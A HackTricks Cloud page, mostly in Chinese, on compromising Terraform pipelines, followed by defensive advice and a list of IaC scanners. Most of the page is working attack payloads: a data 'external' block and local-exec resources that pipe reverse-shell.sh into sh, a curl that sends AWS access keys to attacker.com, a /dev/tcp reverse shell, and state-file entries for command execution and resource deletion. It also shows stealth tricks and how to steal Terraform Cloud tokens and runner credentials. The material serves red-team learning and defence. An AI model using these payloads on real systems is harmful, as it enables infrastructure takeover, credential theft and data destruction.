Terraform Security
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
HashiCorp Terraform 是一个 infrastructure as code tool,它允许你在可读的配置文件中定义 cloud and on-prem resources,这些文件可以被版本化、重用和共享。然后你可以使用一致的工作流在整个生命周期中配置和管理所有基础设施。Terraform 可以管理低层组件(如 compute、storage 和 networking resources),也可以管理高层组件(如 DNS entries 和 SaaS features)。
How does Terraform work?
Terraform 通过各个平台和服务的应用程序编程接口(APIs)创建和管理资源。Providers 使 Terraform 能够与任何具有可访问 API 的平台或服务协同工作。
.png)
HashiCorp 和 Terraform 社区已经编写了 超过 1700 个 providers 来管理数千种不同类型的资源和服务,并且这个数字还在增长。你可以在 Terraform Registry 上找到所有公开可用的 providers,包括 Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 等等。
核心的 Terraform 工作流由三个阶段组成:
- Write: 你定义资源,这些资源可能分布在多个 cloud providers 和服务上。例如,你可能创建一个配置,在 Virtual Private Cloud (VPC) 网络中的虚拟机上部署一个应用,并配置 security groups 和一个 load balancer。
- Plan: Terraform 创建一个执行计划,描述它将基于现有基础设施和你的配置创建、更新或销毁的基础设施。
- Apply: 在获得批准后,Terraform 以正确的顺序执行提议的操作,遵循任何资源依赖关系。例如,如果你更新了 VPC 的属性并改变了该 VPC 中虚拟机的数量,Terraform 会先重建 VPC 然后再扩展虚拟机。
.png)
Terraform Lab
只需在你的电脑上安装 terraform。
Here you have a guide and here you have the best way to download terraform.
RCE in Terraform: config file poisoning
Terraform doesn’t have a platform exposing a web page or a network service we can enumerate, therefore, the only way to compromise terraform is to be able to add/modify terraform configuration files or to be able to modify the terraform state file (see chapter below).
然而,terraform 是一个被入侵后 非常敏感的组件,因为它需要对不同的位置拥有 privileged access 才能正常工作。
攻击者能够妥协运行 terraform 的系统的主要方式是 妥协存储 terraform 配置的 repository,因为这些配置最终会被 解释/执行。
实际上,已经有一些解决方案会在创建 PR 后自动执行 terraform plan/apply,例如 Atlantis:
如果你能够妥协 terraform 文件,当有人执行 terraform plan 或 terraform apply 时,有多种方式可以实现 RCE。
Terraform plan
Terraform plan 是 terraform 中 使用最频繁的命令,开发者/使用 terraform 的解决方案会频繁调用它,所以 获取 RCE 的最简单方式 是确保你能污染一个会在 terraform plan 中执行任意命令的 terraform 配置文件。
Using an external provider
Terraform 提供了 external provider,它提供了一种在 Terraform 与外部程序之间建立接口的方法。你可以使用 external data source 在 plan 期间运行任意代码。
在 terraform 配置文件中注入如下类似内容,将在执行 terraform plan 时触发 rev shell:
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
使用自定义 provider
攻击者可以将 custom provider 提交到 Terraform Registry,然后将其添加到 feature 分支中的 Terraform 代码(example from here):
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
这个 provider 会在 init 阶段被下载,并会在执行 plan 时运行恶意代码
你可以在 https://github.com/rung/terraform-provider-cmdexec 找到一个示例
使用外部引用
前面提到的两种方法都有用,但都不是非常隐蔽(第二种比第一种更隐蔽,但也更复杂)。你甚至可以通过以下建议以更隐蔽的方式执行此攻击:
- 与其直接将 rev shell 添加到 terraform 文件中,你可以加载一个外部资源,该资源包含 rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
你可以在 https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules 找到 rev shell 代码
- 在外部资源中,使用 ref 功能将 terraform rev shell code in a branch 隐藏在仓库的某个分支中,例如:
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
Terraform Apply
Terraform apply 将被执行以应用所有更改,你也可以滥用它来通过注入 一个包含 local-exec 的恶意 Terraform 文件 来获得 RCE。
你只需确保像下面这样的载荷被写入到 main.tf 文件末尾:
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
请遵循先前技术的建议,以使用外部引用更隐蔽的方式执行此攻击。
Secrets Dumps
你可以通过向 terraform 文件添加类似的内容并运行 terraform apply,使 terraform 使用的 secret 值被转储:
output "dotoken" {
value = nonsensitive(var.do_token)
}
滥用 Terraform state 文件
In case you have write access over terraform state files but cannot change the terraform code, this research gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the git history.
RCE in Terraform: config file poisoning
It is possible to create a custom provider and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
The provider statefile-rce builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute command. When the terraform run is triggered, this will be read and executed in both the terraform plan and terraform apply steps. In case of the terraform apply step, terraform will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the GitHub repository hosting the source code for this provider.
要直接使用,只需在 resources 数组的任意位置包含如下内容,并自定义 name 和 command 属性:
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
Then, as soon as terraform gets executed, your code will run.
删除资源
有两种方法可以销毁资源:
- 在 state 文件中插入一个随机名称的资源,指向要销毁的真实资源
因为 terraform 会看到该资源不应该存在,它就会销毁它(按照所示的真实资源 ID)。示例来自上一页:
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
- 修改资源以使其无法更新(因此会被删除并重新创建)
对于 EC2 实例,修改实例的类型足以使 terraform 删除并重新创建它。
替换被列入黑名单的 provider
如果遇到 hashicorp/external 被列入黑名单的情况,可以通过以下方式重新实现 external provider。注意:我们使用了由 https://registry.terraform.io/providers/nazarewk/external/latest 发布的 external provider 的 fork。你也可以发布你自己的 fork 或重新实现。
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
然后你可以像平常一样使用 external。
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
Terraform Cloud speculative plan RCE and credential exfiltration
本场景滥用 Terraform Cloud (TFC) runners 在 speculative plans 期间 pivot 到目标云账户。
-
Preconditions:
-
从开发者机器窃取 Terraform Cloud token。CLI 将 token 以明文存储在
~/.terraform.d/credentials.tfrc.json。 -
该 token 必须对目标 organization/workspace 有访问权限,并至少具有
plan权限。VCS-backed workspaces 会阻止 CLI 执行apply,但仍允许 speculative plans。 -
Discover workspace and VCS settings via the TFC API:
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
- 在 speculative plan 期间触发 code 执行,使用 external data source 和 Terraform Cloud “cloud” block 针对 VCS-backed workspace:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
用于在 TFC runner 上获取 reverse shell 的 rsync.sh 示例:
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
在临时 runner 上运行一个模拟计划以执行该程序:
terraform init
terraform plan
- Enumerate and exfiltrate 注入到 runner 的 cloud credentials。运行时,TFC 会通过文件和 environment variables 注入 provider credentials:
env | grep -i gcp || true
env | grep -i aws || true
Expected files on the runner working directory:
-
GCP:
-
tfc-google-application-credentials(Workload Identity Federation JSON 配置文件) -
tfc-gcp-token(短期 GCP 访问令牌) -
AWS:
-
tfc-aws-shared-config(web identity/OIDC 角色假设配置) -
tfc-aws-token(短期令牌;某些组织可能使用静态密钥) -
使用这些短期凭证以带外方式绕过 VCS 检查:
GCP (gcloud):
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
AWS (AWS CLI):
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
使用这些凭证,攻击者可以直接使用本地 CLI 创建/修改/销毁资源,绕过通过 VCS 阻止 apply 的基于 PR 的工作流。
- 防御建议:
- 对 TFC 用户/团队和令牌应用最小权限原则。审计成员资格,避免将过多成员设为 owner。
- 在可行情况下,限制对敏感 VCS 支持的 workspaces 的
plan权限。 - 使用 Sentinel 策略强制实施 provider/data source 的允许列表,以阻止
data "external"或未知 providers。参见 HashiCorp 关于 provider 过滤的指导。 - 优先使用 OIDC/WIF 而非静态云凭证;将 runners 视为敏感实体。监控推测性
plan运行和意外出站流量。 - 检测
tfc-*凭证工件的外泄,并在 plan 期间对可疑的external程序使用发出告警。
攻破 Terraform Cloud
使用 token
As explained in this post,terraform CLI 在 ~/.terraform.d/credentials.tfrc.json 以明文存储 tokens。窃取此 token 可使攻击者在该 token 的作用域内冒充该用户。
使用该 token 可以获取 org/workspace,命令如下:
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
然后就可以使用 terraform plan 运行任意代码,正如前一章所述。
逃逸到云端
如果 runner 位于某个云环境中,就有可能获取附加到 runner 的主体(principal)的令牌并在带外使用。
-
GCP files (present in current run working directory)
-
tfc-google-application-credentials— JSON 配置,用于 Workload Identity Federation(WIF),告诉 Google 如何交换外部身份。 -
tfc-gcp-token— 短期有效(≈1 hour)的 GCP 访问令牌,被上者引用 -
AWS files
-
tfc-aws-shared-config— 用于 web identity federation/OIDC role assumption 的 JSON(优先于静态密钥)。 -
tfc-aws-token— 短期令牌,或在配置错误时可能是静态 IAM 密钥。
自动审计工具
Snyk Infrastructure as Code (IaC)
Snyk 提供一个全面的 Infrastructure as Code (IaC) 扫描解决方案,用于检测 Terraform、CloudFormation、Kubernetes 以及其他 IaC 格式中的漏洞和配置错误。
- Features:
- 实时扫描安全漏洞和合规性问题。
- 与版本控制系统集成(GitHub、GitLab、Bitbucket)。
- 自动生成修复的 pull requests。
- 提供详细的修复建议。
- Sign Up: 在 Snyk 上创建一个账户。
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
Checkov
Checkov 是一个针对基础设施即代码 (IaC) 的静态代码分析工具,同时也是用于镜像和开源包的软件成分分析 (SCA) 工具。
它扫描使用 Terraform、Terraform plan、Cloudformation、AWS SAM、Kubernetes、Helm charts、Kustomize、Dockerfile、Serverless、Bicep、OpenAPI、ARM Templates 或 OpenTofu 配置的云基础设施,并使用基于图的扫描检测安全和合规性错误配置。
它执行 Software Composition Analysis (SCA) scanning,对开源包和镜像进行 Common Vulnerabilities and Exposures (CVEs) 的扫描。
pip install checkov
checkov -d /path/to/folder
terraform-compliance
From the docs: terraform-compliance 是一个轻量级的、以安全和合规为重点的针对 terraform 的测试框架,用于为你的 infrastructure-as-code 提供负向测试能力。
- 合规性: 确保已实现的代码遵循安全标准以及你自定义的标准
- 行为驱动开发: 我们几乎对所有东西都使用 BDD,为什么不对 IaC 也这样做?
- 可移植: 只需通过
pip安装或通过docker运行。See Installation - 预部署: 它在部署之前验证你的代码
- 易于集成: 它可以在你的 pipeline(或在 git hooks 中)运行,以确保所有部署都经过验证。
- 职责分离: 你可以将测试保存在不同的仓库中,由另一个团队负责。
Note
不幸的是,如果代码使用了一些你无权访问的 providers,你将无法执行
terraform plan并运行此工具。
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
tfsec
摘自 docs:tfsec 使用静态分析你的 terraform 代码来发现潜在的错误配置。
- ☁️ 检查主要(以及部分次要)云提供商中的错误配置
- ⛔ 数百条内置规则
- 🪆 扫描模块(本地和远程)
- ➕ 评估 HCL 表达式以及字面值
- ↪️ 评估 Terraform 函数,例如
concat() - 🔗 评估 Terraform 资源之间的关系
- 🧰 兼容 Terraform CDK
- 🙅 应用(并增强)用户定义的 Rego 策略
- 📃 支持多种输出格式:lovely(默认)、JSON、SARIF、CSV、CheckStyle、JUnit、text、Gif。
- 🛠️ 可配置(通过 CLI 标志和/或配置文件)
- ⚡ 非常快速,能够快速扫描大型仓库
brew install tfsec
tfsec /path/to/folder
terrascan
Terrascan 是一个针对基础设施即代码(Infrastructure as Code)的静态代码分析器。Terrascan 允许您:
- 无缝扫描基础设施即代码中的错误配置。
- 监控已部署的云基础设施以发现可能引起安全态势漂移的配置更改,并支持恢复到安全态势。
- 检测安全漏洞和合规性违规。
- 在为云原生基础设施配置资源之前缓解风险。
- 可灵活在本地运行或与您的 CI\CD 集成。
brew install terrascan
terrascan scan -d /path/to/folder
KICKS
在基础设施即代码 (infrastructure-as-code) 的开发周期早期,通过 Checkmarx 的 KICS 发现安全漏洞、合规问题和基础设施配置错误。
KICS 代表 Keeping Infrastructure as Code Secure,它是开源的,是任何云原生项目的必备工具。
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
Terrascan
From the docs:Terrascan 是一个用于基础设施即代码的静态代码分析器。Terrascan 允许你:
- 无缝扫描基础设施即代码以发现配置错误。
- 监控已配置的云基础设施以发现引入安全态偏移的配置更改,并支持恢复到安全配置。
- 检测安全漏洞和合规性违规。
- 在部署云原生基础设施之前缓解风险。
- 提供在本地运行或与你的 CI\CD 集成的灵活性。
brew install terrascan
参考资料
- Atlantis Security
- https://alex.kaskaso.li/post/terraform-plan-rce
- https://developer.hashicorp.com/terraform/intro
- https://blog.plerion.com/hacking-terraform-state-privilege-escalation/
- https://github.com/offensive-actions/terraform-provider-statefile-rce
- Terraform Cloud token abuse turns speculative plan into remote code execution
- Terraform Cloud 权限
- Terraform Cloud API – 显示 workspace
- AWS provider 配置
- AWS CLI – OIDC 角色假设
- GCP provider – 在 Terraform Cloud 中使用
- Terraform – 敏感变量
- Snyk Labs – Gitflops:Terraform 自动化平台的危险
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

